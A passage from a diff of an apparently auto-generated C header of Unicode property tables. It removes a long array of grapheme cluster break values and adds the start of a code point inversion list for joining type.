-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_L,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_Other,
-	GCB_V,
-	GCB_Other,
-	GCB_T,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Prepend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Prepend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Control,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Regional_Indicator,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Modifier,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base_GAZ,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_Glue_After_Zwj,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_Glue_After_Zwj,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_Control,
-	GCB_Extend,
-	GCB_Control,
-	GCB_Extend,
-	GCB_Control,
-	GCB_Other
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_JT__U_invlist[] = { /* for ASCII/Latin1 */
+	667,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAD,
+	0xAE,
+	0x300,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x620,
+	0x621,
+	0x622,
+	0x660,
+	0x66E,
+	0x674,
+	0x675,
+	0x6D4,
+	0x6D5,
+	0x6DD,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x780,
+	0x7A6,
+	0x7B1,
+	0x7CA,
+	0x7F4,
+	0x7FA,
+	0x7FB,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x840,
+	0x856,
+	0x859,
+	0x85C,
+	0x860,
+	0x861,
+	0x862,
+	0x866,
+	0x867,
+	0x86B,
+	0x8A0,
+	0x8AD,
+	0x8AE,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x982,
+	0x9BC,
+	0x9BD,
+	0x9C1,
+	0x9C5,
+	0x9CD,
+	0x9CE,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA03,
+	0xA3C,
+	0xA3D,
+	0xA41,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA83,
+	0xABC,
+	0xABD,
+	0xAC1,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB3C,
+	0xB3D,
+	0xB3F,
+	0xB40,
+	0xB41,
+	0xB45,
+	0xB4D,
+	0xB4E,
+	0xB56,
+	0xB57,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBC0,
+	0xBC1,
+	0xBCD,
+	0xBCE,
+	0xC00,
+	0xC01,
+	0xC3E,
+	0xC41,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC82,
+	0xCBC,
+	0xCBD,
+	0xCBF,
+	0xCC0,
+	0xCC6,
+	0xCC7,
+	0xCCC,
+	0xCCE,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD02,
+	0xD3B,
+	0xD3D,
+	0xD41,
+	0xD45,
+	0xD4D,
+	0xD4E,
+	0xD62,
+	0xD64,
+	0xDCA,
+	0xDCB,
+	0xDD2,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
